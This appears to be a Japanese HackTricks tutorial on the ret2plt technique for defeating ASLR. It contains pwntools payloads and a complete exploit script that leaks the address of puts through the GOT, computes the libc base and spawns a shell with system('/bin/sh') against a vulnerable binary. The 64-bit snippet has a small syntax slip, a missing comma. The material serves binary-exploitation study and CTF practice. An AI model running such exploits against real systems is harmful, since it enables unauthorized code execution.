Ret2plt

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

基本情報

このテクニックの目標は、ASLRをバイパスするためにPLTから関数のアドレスをリークすることです。たとえば、libcからputs関数のアドレスをリークすると、libcのベースを計算し、**system**などの他の関数にアクセスするためのオフセットを計算できます。

これは、pwntoolsのペイロードを使用して行うことができます(こちらから)。

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

注意してください。puts(PLTからのアドレスを使用)が、GOT(Global Offset Table)にあるputsのアドレスで呼び出されていることに注目してください。これは、putsputsのGOTエントリを印刷する時点で、そのエントリにはメモリ内のputsの正確なアドレスが含まれているためです。

また、エクスプロイトでmainのアドレスが使用されていることに注意してください。したがって、putsが実行を終了すると、バイナリは終了する代わりに再びmainを呼び出します(したがって、漏洩したアドレスは引き続き有効です)。

これが機能するためには、バイナリがPIEでコンパイルされていない必要があります。または、PIEをバイパスするための漏洩を見つける必要があります。そうでない場合は、まずPIEをバイパスする必要があります。

こちらでこのバイパスの完全な例を見つけることができます。これはその例からの最終的なエクスプロイトでした。

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

その他の例と参考文献

  • 64ビット、ASLR有効、ただしPIEなし、最初のステップは、キャナリのバイト0x00までオーバーフローを埋めてからputsを呼び出してリークさせることです。キャナリを使用して、GOTからputsのアドレスをリークさせるためのROPガジェットが作成され、system('/bin/sh')を呼び出すためのROPガジェットが作成されます。

  • 64ビット、ASLR有効、キャナリなし、メイン関数内のスタックオーバーフロー、ROPガジェットを使用してputsを呼び出してGOTからputsのアドレスをリークさせ、その後ワンガジェットを呼び出します。

Last updated